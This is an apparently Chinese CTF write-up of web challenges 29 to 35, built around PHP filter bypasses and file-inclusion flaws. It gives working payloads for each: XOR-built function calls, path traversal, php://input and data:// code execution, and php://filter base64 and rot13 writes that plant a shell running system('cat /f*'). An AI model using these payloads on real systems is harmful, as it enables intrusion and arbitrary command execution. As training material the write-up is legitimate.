web29-35
in wr1teup with 0 comment
web29-35
in wr1teup with 0 comment

web29

开启环境后
2024-07-10T07:05:40.png
如果匹配到以下,则会阻止

使用异或构造字母,也可以用or来构造
2024-07-10T07:24:15.png

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

成功获取flag
2024-07-10T07:25:09.png

web30

开启环境后发现是一个文件包含题目
2024-07-12T05:42:58.png
根据提示

//flag in /var/www/secret

可知flag的位置,于是直接将路径getfile
2024-07-12T05:51:38.png
得到flag

flag{962fc4a7-c0bb-47d4-b258-77d3c32b8227}

但是只能读取文本文件,读不了php文件

web31

开启环境后
2024-07-12T06:28:49.png

$_GET['file']?$_GET['file']:"nothing.php"

是三元表达式

如果file参数存在,则使用它的值;如果不存在,就使用默认值"nothing.php"
根据提示,flag是在根目录下的,于是我们需要返回上层目录
/?file=../../../flag

找到flag
2024-07-12T06:41:32.png

flag{ae33b756-c5ae-468a-95df-1ff5de4d5604}

web32

开启环境后,是一个input协议
2024-07-12T07:09:49.png
启动抓包
2024-07-12T07:12:08.png
发现直接输出为文本
2024-07-12T07:13:02.png
得到flag,直接用php代码,告诉input我是代码
2024-07-12T07:14:45.png

flag{b9dc7739-accb-45c8-bbc1-75454e0370a1}

web33

开启环境,很多字符被过滤了,于是利用filter协议
2024-07-12T08:00:38.png
添加base64确保全部传输

/?file=php://filter/write=convert.base64-decode/resource=1.php

2024-07-12T08:04:03.png
2024-07-12T08:05:19.png
加号变为url编码
2024-07-12T08:06:06.png
查看1.php
2024-07-12T08:07:01.png
测试成功
进行

<?php system("cat /f*") ?>

2024-07-12T11:38:37.png
2024-07-12T11:38:54.png
得到flag

flag{b3691e1a-05c8-4fcb-94fb-d7e8818c60f8}

web34

绕过死亡die,启动环境
2024-07-12T11:05:03.png
2024-07-12T11:07:30.png
这里编码采取凯撒13来操作(rot13再操作一次为本身)
使得不会被认定为php代码,绕过死亡die
2024-07-12T11:11:40.png
成功执行,测试成功
2024-07-12T11:11:25.png

/?file=php://filter/write=string.rot13/resource=1.php

post数据

content=<?cuc flfgrz("gnp /s*")?>

2024-07-12T11:33:07.png
2024-07-12T11:32:55.png

web35

开启环境
2024-07-12T11:21:06.png
运用data协议
2024-07-12T11:22:59.png

/?file=data://text/plain/,<?php system("tac /f*");?>

得到flag
2024-07-12T11:26:29.png

flag{2c708bc8-f0c2-495c-929e-e3e5deab7c13}

The article has been posted for too long and comments have been automatically closed.